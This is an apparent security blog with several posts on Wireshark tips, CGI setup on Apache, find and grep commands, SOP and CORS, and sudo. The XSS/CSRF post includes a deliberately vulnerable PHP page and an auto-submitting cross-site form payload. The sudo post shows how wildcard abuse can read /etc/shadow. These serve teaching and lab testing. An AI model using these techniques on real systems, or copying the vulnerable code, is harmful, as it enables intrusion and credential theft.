Wednesday, November 28, 2018

WireShark Malware Analysis basics

I was going through some of the pcap challenges on https://www.malware-traffic-analysis.net. There I stumbled upon a some very good posts for getting stared with wireshark which are mentioned in the reference below.

HTTP

Some columns can be set in wireshark which help in http traffic investigations:


  • Src Port
  • Dest Port 
  • Host 
  • User-Agent 
  • Request URI 
  • Content-Type 
  • Status Code
  • Location (302) [Heplful when SSL com starts]
  • Referer



Tshark:

 tshark -r “/file.pcap"  -T fields -e dns.qry.name -e ip.src -e ip.dst  -e _ws.col.Info | grep “mydomain\|10.10.10.15\|10.10.10.16"
 





Reference:




Tuesday, November 20, 2018

SetUp CGI perl on CentOS apache



Setup apache webserver on CentOS

sudo yum install httpd

To make this web server available from lan or we need to whitelist our interfaces as Listen *:80
in /etc/httpd/conf/httpd.conf 


Now, we setup CGI execution, change the directory settings in httpd.conf
Before restarting httpd we have to change one more thing inside /etc/httpd/conf/httpd.conf:
<Directory "var/www/html">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl
</Directory>

Change permissions to allow for CGI to execute
And this one got me stuck a lot! Don't overlook this!
You need to tell your server that these CGI scripts are allowed to be executed as programs.
chmod 705 *.cgi
Or you can target individual CGI scripts.
chmod 705 hello.cgi

Put cgi files in /var/www/cgi-bin/ and run as  http://serverip/cgi-bin/script.cgi

cat /etc/httpd/conf/httpd.conf | grep ScriptAlias should have something like this in the output
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"


This is enough to run a test cgi script.


In case aces you might need to install more packages for a particular script such as MD5 digest.
# sudo yum install perl-Digest-MD5 -y

Now Reboot Apache : sudo apachectl stop, sudo apachectl start









Tuesday, July 24, 2018

Search string


Find files with particular string in file name
  • find / -name "*.err"
    / - starting from / to all sub directories.
  • Specify file type with find type = d (directory) , f (file)
  • Find SUID files
    find / -perm /u=s
  • To find all the files which are modified more than 50 days back and less than 100 days.
    # find / -mtime +50 –mtime -100
  •  To find all the files which are changed in last 1 hour.
    # find / -cmin -60
  • To find all the files which are modified in last 1 hour.
    # find / -mmin -60
  • To find all the files which are accessed in last 1 hour.# find / -amin -60

Find String inside files and print file name
  • grep -rnw '/path/to/somewhere/' -e 'pattern'
    /path/to/somewhere/ - Starting directory
    -r or -R is recursive,
    -n is line number, and
    -w stands for match the whole word.
    -l (lower-case L) can be added to just give the file name of matching files.
     
  • ack 'text-to-find-here'

 
Redirect errors to Stdout


  • 2&>1
  • Now you can grep out the errors
    find / -name "*.err" 2&>1 | grep -v denied


     

Friday, May 18, 2018

XSS, CSRF and SOP Mythbuster

I was asked if reflected Cross site scripting (XSS) in POST would be stopped or mitigated by Same origin policy(SOP)? Hmmm...interesting question. As far as I could recall, I answered, simple post submission by html forms are not stopped by SOP.

There seems to be a misconception that POST cross domain request are not allowed due to SOP and that XSS in POST is only exploited in cases of stored XSS. Also that, reflected XSS is exploitable only is GET cases.

Oh well, why believe what anyone says, lets test it out. To test this I will set up a simple html page on victim server(10.211.55.2),  lets call it input page which  takes a comment and post it to post.php page. The post.php page suffers from a serious case of reflected XSS.

<form action="post.php" method="post">
 <input type="text" name="comment" value="">
 <input type="submit" name="submit" value="Submit">
</form>
post.php

<?php
echo $_POST["comment"];
Now lets create a simple html page to exploit it. I was too lazy to create one myself so i decided burp should do it for me. We can call it, test.html.
<html>
  <!-- Simple Post submissions are not blocked by Same origin policy-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.2/xss/post.php" method="POST">
      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Now for the sake of this proof of concept to proceed, let us assume an attacker was able to redirect users to his malicious web server, serving test.html, or just sends this html page as an attachment.

User visits the malicious website(10.211.55.5) on windows and opens test.html...



...and submits the post form to execute XSS which is hosted on 10.211.55.2.



Taking it a step further so that we can call a javascript to "click" the submit button. Javascripts can be used to simulate a post form submission.
<!DOCTYPE html>

<html>

  <!-- Simple Post submissions are not blocked by Same origin policy-->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://10.211.55.2/xss/post.php" method="POST">

      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />

      <input type="hidden" name="submit" value="Submit" />

      <input type="submit" id ="ert" value="Submit request" />

    </form>

  </body>

<script>

document.getElementById("ert").submit();

</script>

</html>


This happens because "The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain. Posting forms and linking to other domains is possible, too. "

We can easily extend this to malicious CSRF form submissions. 


So in essence we can conclude:

1. Reflected POST xss can be exploited the same as POST xss, i.e. sending the user to malicious link and use javascript to auto submit the xss post form.

2. Same origin policy does not apply to Cross domain POST form submissions, hence SOP is not a mitigating factor for POST XSS or CSRF. 


References:

https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
https://w-shadow.com/blog/2008/11/20/cross-domain-post-with-javascript/

Monday, May 14, 2018

SOP & CORS

SOP


OriginTwo pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.

Under the policy, a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin.


Assume you are logged into Facebook and visit a malicious website in another browser tab. Without the same origin policy JavaScript on that website could do anything to your Facebook account that you are allowed to do.

But of course Facebook wants to use JavaScript to enhance the user experience. So it is important that the browser can detect that this JavaScript is trusted to access Facebook resources. That's where the same origin policy comes into play: If the JavaScript is included from a HTML page on facebook.com, it may access facebook.com resources.

The origin of a JavaScript file is defined by the domain of the HTML page which includes it. So if you include the Google Analytics code with a <script>-tag, it can do anything to your website but does not have same origin permissions on the Google website.



The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain.


HTTP cookies are dependent on the Same Origin Policy to ensure that sensitive information held about a certain user's activity pertains only to one site.

CORS

This cross-origin sharing standard is used to enable cross-site HTTP requests for:

  • Invocations of the XMLHttpRequest or Fetch APIs in a cross-site manner, as discussed above.
  • Web Fonts (for cross-domain font usage in @font-face within CSS)
  • Images/video frames drawn to a canvas using drawImage.
  • Stylesheets (for CSSOM access).


The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser.

Simple request

Some requests don’t trigger a CORS preflight. Those are called “simple requests” in this article. A request that doesn’t trigger a CORS preflight—a so-called “simple request”—is one that meets all the following conditions:

The only allowed values for the Content-Type request header for simple requests are:
  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

.......and more

Preflighted request


Unlike “simple requests” (discussed above), "preflighted" requests first send an HTTP request by the OPTIONS method to the resource on the other domain, in order to determine whether the actual request is safe to send.




Monday, January 1, 2018

Sudo

What access do I have?
$ sudo -l

What access do other users have?
$ sudo -U username -l

Run a Command as Another User
Use the -u flag
$ sudo -u [username] [command] 
Enter your password, not the root password

Run a Command as Another Group
Use the -g flag
$ sudo -g operator dump 
$ sudo -g #5 dump

Rules processed in order; Last matching rule wins

Dangers of Wildcards (Check by sudo -l or access to sudoers file)
Pete ALL=/bin/cat /var/log/messages*
So you can view all the /var/log/messages archives...
$ sudo cat /var/log/messages /etc/shadow or
$ sudo cat /var/log/messages/../../../etc/shadow
 ...and all the other files in the system

And many More...


References:

http://repository.root-me.org/Administration/Unix/EN%20-%20sudo%20:%20you're%20doing%20it%20wrong.pdf